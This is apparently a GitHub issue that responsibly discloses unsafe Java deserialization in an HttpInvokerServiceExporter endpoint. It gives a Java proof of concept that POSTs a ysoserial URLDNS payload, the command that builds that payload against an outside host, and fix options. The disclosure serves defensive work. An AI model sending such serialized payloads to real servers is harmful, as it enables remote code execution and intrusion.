Skip to content

Unsafe deserialization in several API endpoints #9

@artem-smotrakov

Description

@artem-smotrakov

(after discussing this with the project maintainers, agreed to open an issue for it)

The server has /userDataManagementService endpoint that uses HttpInvokerServiceExporter:

HttpInvokerServiceExporter echoServiceExporter(UserDataManagementService userDataManagementService) {

This class uses the default Java deserialization mechanism to parse data that comes with an incoming HTTP request. A malicious user can send a specially crafted request that contains a dangerous serialized object. Then, the endpoint deserializes the object which results in executing dangerous code on the server side.

The following code reproduces the issue:

byte[] payload = Files.readAllBytes(Paths.get("payload.bin"));
HttpURLConnection connection = (HttpURLConnection) new URL("http://localhost:8090/userDataManagementService").openConnection();
connection.setDoOutput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type",
"application/x-java-serialized-object");
connection.setRequestProperty("Content-Length",
Integer.toString(payload.length));
connection.setRequestProperty("Accept-Encoding", "gzip");
connection.setRequestProperty("Authorization", "Basic Y2xpZW50OnBhc3N3b3Jk");
try (BufferedOutputStream bos = new
BufferedOutputStream(connection.getOutputStream())) {
  bos.write(payload);
  bos.flush();
}
connection.getResponseCode();

payload.bin was created by ysoserial tool and contains a URLDNS gadget:

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS https://blog.gypsyengineer.com > payload.bin

The serialized object doesn't do anything dangerous - it just tries to resolve "blog.gypsyengineer.com". If you watch DNS traffic (tcpdump -i lo udp port 53) and run the code above, then you'll see a DNS request to resolve "blog.gypsyengineer.com". Although it is only a demo to demonstrate the issue, it may be possible to build a serialized object that results in something dangerous, for example, arbitrary code execution. Therefore the impact of the issue may be potentially high. It is relatively easy to exploit the issue - an attacker just needs to send a single HTTP request. The only obstacle here is Basic HTTP authentication.

Unfortunately, Spring refused to make the HttpInvokerServiceExporter class safer:

spring-projects/spring-framework#24434

They only deprecated the class, and are planning to remove it in one of the future releases. There are not too many ways to fix the issue:

  1. Remove the endpoint
  2. Don't use HttpInvokerServiceExporter
  3. Use global deserialization filters introduced in JEP 290 (need to be carefully configured)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions